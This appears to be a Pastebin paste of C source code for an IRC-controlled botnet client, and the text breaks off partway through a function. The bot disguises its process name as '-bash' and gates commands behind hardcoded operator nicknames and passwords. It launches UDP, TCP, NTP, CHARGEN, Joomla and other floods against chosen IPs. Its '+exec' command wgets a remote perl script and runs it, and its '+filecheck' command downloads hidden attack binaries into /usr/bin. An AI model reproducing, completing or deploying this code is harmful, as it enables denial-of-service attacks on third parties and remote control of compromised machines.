Advertisement
FR0ST_LXIX

k

Jun 20th, 2016
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.21 KB | None | 0 0
  1. #define STARTUP
  2. #undef IDENT
  3. #define FAKENAME "-bash"
  4. #define CHAN "#FBG"
  5. #define KEY "key"
  6. #define PORT 6667
  7. #define User1 "IRC_NICK"
  8. #define User2 ""
  9. #define User3 ""
  10. #define User4 ""
  11. #define User5 ""
  12. #define User6 ""
  13. #define User7 ""
  14. #define User8 ""
  15. #define User9 ""
  16. #define User10 ""
  17. #define HSCPass "HSCLogin10293493247578543"
  18. #define UDPON 1 //1 for on, 0 for off. Turns the UDP attack off.
  19. #define SUDPON 1 //1 for on, 0 for off. Turns the SUDP attack off.
  20. #define JOOMLAON 1 //1 for on, 0 for off. Turns the JOOMLA attack off.
  21. #define TCPON 1 //1 for on, 0 for off. Turns the TCP attack off.
  22. #define STDON 1 //1 for on, 0 for off. Turns the STD attack off.
  23. #define NTPON 1 //1 for on, 0 for off. Turns the NTP attack off.
  24. #define CHARGENON 1 //1 for on, 0 for off. Turns the CHARGEN attack off.
  25. #define PREFIX "[NIX]"
  26. int numservers=1;
  27. char *servers[] = {
  28. "",
  29. (void*)0
  30. };
  31. #include <stdarg.h>
  32. #include <errno.h>
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <string.h>
  36. #include <sys/types.h>
  37. #include <sys/stat.h>
  38. #include <fcntl.h>
  39. #include <strings.h>
  40. #include <netinet/in.h>
  41. #include <unistd.h>
  42. #include <sys/time.h>
  43. #include <sys/socket.h>
  44. #include <signal.h>
  45. #include <arpa/inet.h>
  46. #include <netdb.h>
  47. #include <time.h>
  48. #include <sys/wait.h>
  49. #include <sys/ioctl.h>
  50.  
  51.  
  52. int sock,changeservers=0;
  53. char *server, *chan, *key, *nick, *ident, *prefix, *user, disabled=1, HSCommand=1,*users1=User1,*users2=User2,*users3=User3,*users4=User4,*users5=User5,*users6=User6,*users7=User7,*users8=User8,*users9=User9,*users10=User10,*adminuser1="IRC_USER",*HSPassword=HSCPass,HSDisable=0, adminusercount=1, execfile[256],dispass[256];
  54. unsigned int *pids;
  55. unsigned long spoofs=0, spoofsm=0, numpids=0;
  56. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  57. switch((unsigned char)*pattern) {
  58. case '\0': return *string;
  59. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  60. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  61. case 't': return !(*string && !strwildmatch(pattern+1, string+1));
  62. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  63. }
  64. }
  65. int Send(int sock, char *words, ...) {
  66. static char textBuffer[1024];
  67. va_list args;
  68. va_start(args, words);
  69. vsprintf(textBuffer, words, args);
  70. va_end(args);
  71. return write(sock,textBuffer,strlen(textBuffer));
  72. }
  73. int mfork(char *sender) {
  74. unsigned int parent, *newpids, i;
  75. if (disabled == 1) {
  76. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  77. return 1;
  78. }
  79. parent=fork();
  80. if (parent <= 0) return parent;
  81. numpids++;
  82. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  83. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  84. newpids[numpids-1]=parent;
  85. free(pids);
  86. pids=newpids;
  87. return parent;
  88. }
  89. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  90. char *makestring() {
  91. char *tmp;
  92. int len=(rand()%5)+4,i;
  93. FILE *file;
  94. tmp=(char*)malloc(len+1);
  95. memset(tmp,0,len+1);
  96. char *pre;
  97. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  98. else {
  99. int a=((rand()*rand())%45402)+1;
  100. char buf[1024];
  101. for (i=0;i<a;i++) fgets(buf,1024,file);
  102. memset(buf,0,1024);
  103. fgets(buf,1024,file);
  104. filter(buf);
  105. memcpy(tmp,buf,len);
  106. fclose(file);
  107. }
  108. return tmp;
  109. }
  110. void identd() {
  111. int sockname,sockfd,sin_size,tmpsock,i;
  112. struct sockaddr_in my_addr,their_addr;
  113. char szBuffer[1024];
  114. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  115. my_addr.sin_family = AF_INET;
  116. my_addr.sin_port = htons(113);
  117. my_addr.sin_addr.s_addr = INADDR_ANY;
  118. memset(&(my_addr.sin_zero), 0, 8);
  119. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  120. if (listen(sockfd, 1) == -1) return;
  121. if (fork() == 0) return;
  122. sin_size = sizeof(struct sockaddr_in);
  123. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  124. for(;;) {
  125. fd_set bla;
  126. struct timeval timee;
  127. FD_ZERO(&bla);
  128. FD_SET(tmpsock,&bla);
  129. timee.tv_sec=timee.tv_usec=60;
  130. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  131. if (FD_ISSET(tmpsock,&bla)) break;
  132. }
  133. i = recv(tmpsock,szBuffer,1024,0);
  134. if (i <= 0 || i >= 20) exit(0);
  135. szBuffer[i]=0;
  136. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  137. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  138. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  139. close(tmpsock);
  140. close(sockfd);
  141. exit(0);
  142. }
  143.  
  144. void logout(int sock, char *sender, int argc, char **argv) {
  145. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  146. if (argc != 1) {
  147. Send(sock,"NOTICE %s :+logout <pass>\n",sender);
  148. Send(sock,"NOTICE %s :You are currently %s.\n",sender,disabled?"logged out.":"logged in.");
  149. return;
  150. }
  151.  
  152. if (strlen(argv[1]) > 254) {
  153. Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  154. return;
  155. }
  156.  
  157. if (disabled == 1) {
  158. Send(sock,"NOTICE %s :Already logged out.\n",sender);
  159. return;
  160. }
  161.  
  162. if (strcasecmp("LOGIN_PASSWORD",argv[1]) != 0) {
  163. Send(sock,"NOTICE %s :Wrong password.\n",sender);
  164. return;
  165. }
  166.  
  167. Send(sock,"NOTICE %s :Successfully logged out!\n",sender);
  168. disabled=1;
  169. } else {
  170. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  171. }
  172. }
  173.  
  174. void login(int sock, char *sender, int argc, char **argv) {
  175. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  176. if (argc != 1) {
  177. Send(sock,"NOTICE %s :+login <pass>\n",sender);
  178. Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"logged out.":"logged in.");
  179. return;
  180. }
  181.  
  182. if (disabled == 0) {
  183. Send(sock,"NOTICE %s :Already logged in.\n",sender);
  184. return;
  185. }
  186.  
  187. if (strcasecmp("LOGIN_PASSWORD",argv[1]) != 0) {
  188. Send(sock,"NOTICE %s :Wrong password,\n",sender);
  189. return;
  190. }
  191. Send(sock,"NOTICE %s :Successfully logged in!\n",sender);
  192. disabled=0;
  193. } else {
  194. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  195. }
  196. }
  197.  
  198. void hsc(int sock, char *sender, int argc, char **argv) {
  199. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  200. if (argc != 1 && argc != 2) {
  201. Send(sock,"NOTICE %s :-hsc help\n",sender);
  202. return;
  203. }
  204. if(strcasecmp(adminuser1,sender) == 0){
  205. if(strcasecmp("enable",argv[1]) == 0){
  206. HSDisable = 0;
  207. Send(sock,"NOTICE %s :HSC has now been enabled\n",sender);
  208. return;
  209. }
  210. }
  211. if (HSDisable == 0){
  212. if(strcasecmp(adminuser1,sender) == 0){
  213. if(strcasecmp("disable",argv[1]) == 0){
  214. HSCommand = 1;
  215. HSDisable = 1;
  216. Send(sock,"NOTICE %s :HSC has now been disabled\n",sender);
  217. return;
  218. }
  219. }
  220. if (strcasecmp("help",argv[1]) == 0){
  221. Send(sock,"NOTICE %s :-hsc <pass> = Gives you access to all HSC commands.\n",sender);sleep(2);
  222. Send(sock,"NOTICE %s :-hsc cancel = Cancels access to all HSC commands.\n",sender);sleep(2);
  223. Send(sock,"NOTICE %s :-hsc status = Shows the status of HSC.\n",sender);sleep(2);
  224. if (strcasecmp(adminuser1,sender) == 0){
  225. Send(sock,"NOTICE %s :-hsc change <pass> = Changes the HSC password.\n",sender);sleep(2);
  226. Send(sock,"NOTICE %s :-hsc show = Shows the HSC password.\n",sender);sleep(2);
  227. Send(sock,"NOTICE %s :-hsc disable = Disables the use of HSC.\n",sender);sleep(2);
  228. Send(sock,"NOTICE %s :-hsc enable = Enables the use of HSC.\n",sender);sleep(2);
  229. }
  230. return;
  231. }
  232. if (strcasecmp("status",argv[1]) == 0){
  233. Send(sock,"NOTICE %s :You currently have %s.\n",sender,HSCommand?"no access":"full access!");
  234. return;
  235. }
  236. if(strcasecmp("cancel",argv[1]) == 0){
  237. HSCommand = 1;
  238. Send(sock,"NOTICE %s :HSC has been canceled successfully.\n",sender);
  239. return;
  240. }
  241.  
  242. if (strcasecmp(adminuser1,sender) == 0){
  243. if (strcasecmp("show",argv[1]) == 0){
  244. Send(sock,"NOTICE %s :The HSC password is %s\n",sender,HSPassword);
  245. return;
  246. }
  247. if (strcasecmp("change",argv[1]) == 0){
  248. HSPassword = strdup(argv[2]);
  249. Send(sock,"NOTICE %s :The HSC password is now %s\n",sender,HSPassword);
  250. return;
  251. }
  252. if (HSCommand == 0) {
  253. Send(sock,"NOTICE %s :Already granted access.\n",sender);
  254. return;
  255. }
  256. }
  257. if (strcasecmp(HSPassword,argv[1]) != 0) {
  258. Send(sock,"NOTICE %s :Wrong password\n",sender);
  259. return;
  260. }
  261. HSCommand = 0;
  262. Send(sock,"NOTICE %s :Access Granted. Please do >bot -hsc cancel when you are done.\n",sender);
  263. }
  264. if (HSDisable == 1){
  265. Send(sock,"NOTICE %s :HSC has been disabled by the admin.\n",sender);
  266. return;
  267. }
  268. } else {
  269. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  270. }
  271. }
  272. void udp(int sock, char *sender, int argc, char **argv) {
  273. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  274. if (disabled == 1) {
  275. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  276. return;
  277. }
  278. if (UDPON == 0) {
  279. return;
  280. }
  281. unsigned int b;
  282. unsigned long secs2;
  283. time_t start=time(NULL);
  284. if (mfork(sender) != 0) return;
  285. if (argc < 3) {
  286. Send(sock,"NOTICE %s :>bot +udp <IP> <PORT> <PACKETS> <SECONDS>\n",sender);
  287. exit(1);
  288. }
  289. Send(sock,"NOTICE %s :UDP is flooding %s on port %s with %s packets for %s seconds!\n",sender,argv[1],argv[2],argv[3],argv[4]);
  290. chdir("/usr/lib");
  291. char system_sta[256];
  292. snprintf(system_sta, 256, "perl .u %s %s %s %s",argv[1],argv[2],argv[3],argv[4]);
  293. system(system_sta);
  294. secs2=atol(argv[3]);
  295. while(1){
  296. if (b >= 50) {
  297. if (time(NULL) >= start+secs2) break;
  298. b=0;
  299. }
  300. b++;
  301. }
  302. Send(sock,"NOTICE %s :UDP attack finished on %s!\n",sender,argv[1]);
  303. } else {
  304. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  305. }
  306. }
  307.  
  308. void sudp(int sock, char *sender, int argc, char **argv) {
  309. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  310. if (disabled == 1) {
  311. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  312. return;
  313. }
  314. if (SUDPON == 0) {
  315. return;
  316. }
  317. unsigned int b;
  318. unsigned long secs2;
  319. time_t start=time(NULL);
  320. if (mfork(sender) != 0) return;
  321. if (argc < 3) {
  322. Send(sock,"NOTICE %s :>bot +sudp <IP> <PORT> <SECONDS>\n",sender);
  323. exit(1);
  324. }
  325. Send(sock,"NOTICE %s :SUDP is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  326. chdir("/usr/bin");
  327. char system_stb[256];
  328. snprintf(system_stb, 256, "./.su %s %s 1 100 %s",argv[1],argv[2],argv[3]);
  329. system(system_stb);
  330. secs2=atol(argv[3]);
  331. while(1){
  332. if (b >= 50) {
  333. if (time(NULL) >= start+secs2) break;
  334. b=0;
  335. }
  336. b++;
  337. }
  338. Send(sock,"NOTICE %s :SUDP attack finished on %s!\n",sender,argv[1]);
  339. } else {
  340. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  341. }
  342. }
  343. void chargen(int sock, char *sender, int argc, char **argv) {
  344. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  345. if (disabled == 1) {
  346. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  347. return;
  348. }
  349. if (CHARGENON == 0) {
  350. return;
  351. }
  352. unsigned int c;
  353. unsigned long secs3;
  354. time_t start=time(NULL);
  355. if (mfork(sender) != 0) return;
  356. if (argc < 3) {
  357. Send(sock,"NOTICE %s :>bot +chargen <IP> <PORT> <SECONDS>\n",sender);
  358. exit(1);
  359. }
  360. Send(sock,"NOTICE %s :CHARGEN is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  361. chdir("/usr/lib");
  362. char system_stc[256];
  363. snprintf(system_stc, 256, "./.chargen %s %s .char.txt 100 -1 %s",argv[1],argv[2],argv[3]);
  364. system(system_stc);
  365. secs3=atol(argv[3]);
  366. while(1){
  367. if (c >= 50) {
  368. if (time(NULL) >= start+secs3) break;
  369. c=0;
  370. }
  371. c++;
  372. }
  373. Send(sock,"NOTICE %s :CHARGEN attack finished on %s!\n",sender,argv[1]);
  374. } else {
  375. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  376. }
  377. }
  378. void ntp(int sock, char *sender, int argc, char **argv) {
  379. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  380. if (disabled == 1) {
  381. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  382. return;
  383. }
  384. if (NTPON == 0) {
  385. return;
  386. }
  387. unsigned int d;
  388. unsigned long secs4;
  389. time_t start=time(NULL);
  390. if (mfork(sender) != 0) return;
  391. if (argc < 3) {
  392. Send(sock,"NOTICE %s :>bot +ntp <IP> <PORT> <SECONDS>\n",sender);
  393. exit(1);
  394. }
  395. Send(sock,"NOTICE %s :NTP is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  396. chdir("/usr/lib");
  397. char system_std[256];
  398. snprintf(system_std, 256, "./.n %s %s .n.txt 100 -1 %s",argv[1],argv[2],argv[3]);
  399. system(system_std);
  400. secs4=atol(argv[3]);
  401. while(1){
  402. if (d >= 50) {
  403. if (time(NULL) >= start+secs4) break;
  404. d=0;
  405. }
  406. d++;
  407. }
  408. Send(sock,"NOTICE %s :NTP attack finished on %s!\n",sender,argv[1]);
  409. } else {
  410. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  411. }
  412. }
  413.  
  414. void tcp(int sock, char *sender, int argc, char **argv) {
  415. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  416. if (disabled == 1) {
  417. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  418. return;
  419. }
  420. if (TCPON == 0) {
  421. return;
  422. }
  423. unsigned int d;
  424. unsigned long secs4;
  425. time_t start=time(NULL);
  426. if (mfork(sender) != 0) return;
  427. if (argc < 3) {
  428. Send(sock,"NOTICE %s :>bot +tcp <IP> <PORT> <SECONDS>\n",sender);
  429. exit(1);
  430. }
  431. Send(sock,"NOTICE %s :TCP is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  432. chdir("/usr/lib");
  433. char system_ste[256];
  434. snprintf(system_ste, 256, "./.t %s %s 40 -1 %s",argv[1],argv[2],argv[3]);
  435. system(system_ste);
  436. secs4=atol(argv[3]);
  437. while(1){
  438. if (d >= 50) {
  439. if (time(NULL) >= start+secs4) break;
  440. d=0;
  441. }
  442. d++;
  443. }
  444. Send(sock,"NOTICE %s :TCP attack finished on %s!\n",sender,argv[1]);
  445. } else {
  446. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  447. }
  448. }
  449.  
  450. void joomla(int sock, char *sender, int argc, char **argv) {
  451. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  452. if (disabled == 1) {
  453. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  454. return;
  455. }
  456. if (JOOMLAON == 0) {
  457. return;
  458. }
  459. unsigned int d;
  460. unsigned long secs4;
  461. time_t start=time(NULL);
  462. if (mfork(sender) != 0) return;
  463. if (argc < 3) {
  464. Send(sock,"NOTICE %s :>bot +joomla <URL> <TIME> <THREADS>\n",sender);
  465. exit(1);
  466. }
  467. Send(sock,"NOTICE %s :JOOMLA is flooding %s for %s with %s threads!\n",sender,argv[1],argv[2],argv[3]);
  468. chdir("/usr/lib");
  469. char system_stf[256];
  470. snprintf(system_stf, 256, "./.joomla03 %s .j.txt %s %s >/dev/null 2>&1",argv[1],argv[2],argv[3]);
  471. system(system_stf);
  472. secs4=atol(argv[3]);
  473. while(1){
  474. if (d >= 50) {
  475. if (time(NULL) >= start+secs4) break;
  476. d=0;
  477. }
  478. d++;
  479. }
  480. Send(sock,"NOTICE %s :JOOMLA attack finished on %s!\n",sender,argv[1]);
  481. } else {
  482. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  483. }
  484. }
  485.  
  486.  
  487. void std(int sock, char *sender, int argc, char **argv) {
  488. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  489. if (disabled == 1) {
  490. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  491. return;
  492. }
  493. if (STDON == 0) {
  494. return;
  495. }
  496. unsigned int d;
  497. unsigned long secs4;
  498. time_t start=time(NULL);
  499. if (mfork(sender) != 0) return;
  500. if (argc < 3) {
  501. Send(sock,"NOTICE %s :>bot +std <IP> <PORT> <SECONDS>\n",sender);
  502. exit(1);
  503. }
  504. Send(sock,"NOTICE %s :STD is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  505. chdir("/usr/bin");
  506. char system_stg[256];
  507. snprintf(system_stg, 256, "./.st %s %s %s",argv[1],argv[2],argv[3]);
  508. system(system_stg);
  509. secs4=atol(argv[3]);
  510. while(1){
  511. if (d >= 50) {
  512. if (time(NULL) >= start+secs4) break;
  513. d=0;
  514. }
  515. d++;
  516. }
  517. Send(sock,"NOTICE %s :STD attack finished on %s!\n",sender,argv[1]);
  518. } else {
  519. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  520. }
  521. }
  522.  
  523. void help(int sock, char *sender, int argc, char **argv) {
  524. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  525. if (mfork(sender) != 0) return;
  526. Send(sock,"NOTICE %s :If (HSC) is in the description, you will need to activate HSC to use the commands.\n",sender); sleep(2);
  527. Send(sock,"NOTICE %s :+udp <ip> <port> <secs> = A UDP flood\n",sender); sleep(2);
  528. Send(sock,"NOTICE %s :+ntp <ip> <port> <secs> = An NTP flood\n",sender); sleep(2);
  529. Send(sock,"NOTICE %s :+chargen <ip> <port> <secs> = An CHARGEN flood\n",sender); sleep(2);
  530. Send(sock,"NOTICE %s :+joomla <ip> <port> <secs> = A JOOMLA flood\n",sender); sleep(2);
  531. Send(sock,"NOTICE %s :+std <ip> <port> <secs> = An STD flood\n",sender); sleep(2);
  532. Send(sock,"NOTICE %s :+sudp <ip> <port> <secs> = An SUDP flood\n",sender); sleep(2);
  533. Send(sock,"NOTICE %s :+tcp <ip> <port> <secs> = An TCP flood\n",sender); sleep(2);
  534. Send(sock,"NOTICE %s :+filecheck <server with files> = Checks for and downloads all files\n",sender); sleep(2);
  535. Send(sock,"NOTICE %s :+logout <pass> = Logs the bot out\n",sender); sleep(2);
  536. Send(sock,"NOTICE %s :+login <pass> = Logs the bot in\n",sender); sleep(2);
  537. Send(sock,"NOTICE %s :+test = Simple test to see if you have access.\n",sender); sleep(2);
  538. Send(sock,"NOTICE %s :+stop help = Lists stop commands\n",sender); sleep(2);
  539. Send(sock,"NOTICE %s :-hsc help = Lists HSC commands.\n",sender); sleep(2);
  540. Send(sock,"NOTICE %s :+killsec = (HSC)Kills the client\n",sender); sleep(2);
  541. Send(sock,"NOTICE %s :+exec <link> <filename> = (HSC)Wgets a perl file and runs it.\n",sender); sleep(2);
  542. Send(sock,"NOTICE %s :+kill <process id> = (HSC)Kills the client\n",sender); sleep(2);
  543. Send(sock,"NOTICE %s :+irc <command> = (HSC)Sends a command to the IRC\n",sender); sleep(2);
  544. Send(sock,"NOTICE %s :+sh <command> = (HSC)Sends a command to the server\n",sender); sleep(2);
  545. Send(sock,"NOTICE %s :+nick help = (HSC)Shows all nick commands\n",sender); sleep(2);
  546. } else {
  547. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  548. }
  549. }
  550. void exec(int sock, char *sender, int argc, char **argv) {
  551. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  552. if (HSCommand == 1) {
  553. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  554. return;
  555. }
  556. if (argc < 2) {
  557. Send(sock,"NOTICE %s :>bot +exec <WGET PERL SCRIPT> <FILENAME>\n",sender);
  558. return;
  559. }
  560. if (mfork(sender) != 0) return;
  561. chdir("/tmp");
  562. char system_sth[256];
  563. snprintf(system_sth, 256, "wget %s",argv[1]);
  564. system(system_sth);
  565. char system_sti[256];
  566. snprintf(system_sti, 256, "perl %s",argv[2]);
  567. system(system_sti);
  568. Send(sock,"NOTICE %s :Successfully downloaded %s from %s into the /tmp directory.\n",sender,argv[2],argv[1]);
  569. } else {
  570. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  571. }
  572. }
  573.  
  574. void filecheck(int sock, char *sender, int argc, char **argv){
  575. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  576. if(argc == 0){
  577. Send(sock, "NOTICE %s :>bot +filecheck <IP Hosting the Files>\n", sender);
  578. Send(sock, "NOTICE %s :>bot +filecheck help for a list of script names/descriptions\n", sender);
  579. return;
  580. }
  581. if (mfork(sender) != 0) return;
  582. if (strcasecmp("help",argv[1]) == 0){
  583. Send(sock, "NOTICE %s :The floods are:(these all need to be in /usr/bin)\n", sender); sleep(2);
  584. Send(sock, "NOTICE %s :.n = NTP\n", sender); sleep(2);
  585. Send(sock, "NOTICE %s :.t = TCP\n", sender); sleep(2);
  586. Send(sock, "NOTICE %s :.su = SUDP\n", sender); sleep(2);
  587. Send(sock, "NOTICE %s :.a = CHARGEN\n", sender); sleep(2);
  588. Send(sock, "NOTICE %s :.l = LIST\n", sender); sleep(2);
  589. Send(sock, "NOTICE %s :.st = STD\n", sender); sleep(2);
  590. Send(sock, "NOTICE %s :.c = JOOMLA\n", sender); sleep(2);
  591. Send(sock, "NOTICE %s :.u = UDP\n", sender); sleep(2);
  592. return;
  593. }
  594. Send(sock, "Starting the download from %s\n", sender, argv[1]);
  595. chdir("/usr/bin");
  596. struct stat sb;
  597. if (stat("/lib64", &sb) == 0 && S_ISDIR(sb.st_mode))
  598. {
  599. if(open(".a",O_EXCL) == -1)
  600. {
  601. char system_stj[256];
  602. snprintf(system_stj, 256, "wget %s/64/.a", argv[1]);
  603. system(system_stj);
  604. system ("chmod 777 .a");
  605. }
  606. if(open(".l",O_EXCL) == -1)
  607. {
  608. char system_stk[256];
  609. snprintf(system_stk, 256, "wget %s/64/.l", argv[1]);
  610. system(system_stk);
  611. }
  612. if(open(".s",O_EXCL) == -1){
  613. char system_stl[256];
  614. snprintf(system_stl, 256, "wget %s/64/.s", argv[1]);
  615. system(system_stl);
  616. system ("chmod 777 .s");
  617. }
  618. if(open(".u",O_EXCL) == -1){
  619. char system_stm[256];
  620. snprintf(system_stm, 256, "wget %s/64/.u", argv[1]);
  621. system(system_stm);
  622. }
  623. if(open(".st",O_EXCL) == -1){
  624. char system_stn[256];
  625. snprintf(system_stn, 256, "wget %s/64/.st", argv[1]);
  626. system(system_stn);
  627. system ("chmod 777 .st");
  628. }
  629. if(open(".su",O_EXCL) == -1){
  630. char system_sto[256];
  631. snprintf(system_sto, 256, "wget %s/64/.su", argv[1]);
  632. system(system_sto);
  633. system ("chmod 777 .su");
  634. }
  635. if(open(".c",O_EXCL) == -1){
  636. char system_stp[256];
  637. snprintf(system_stp, 256, "wget %s/64/.c", argv[1]);
  638. system(system_stp);
  639. system ("chmod 777 .c");
  640. }
  641. if(open(".e",O_EXCL) == -1){
  642. char system_stq[256];
  643. snprintf(system_stq, 256, "wget %s/64/.e", argv[1]);
  644. system(system_stq);
  645. system ("chmod 777 .e");
  646. }
  647. }
  648. if (stat("/lib64", &sb) == -1){
  649. if(open(".a",O_EXCL) == -1)
  650. {
  651. char system_str[256];
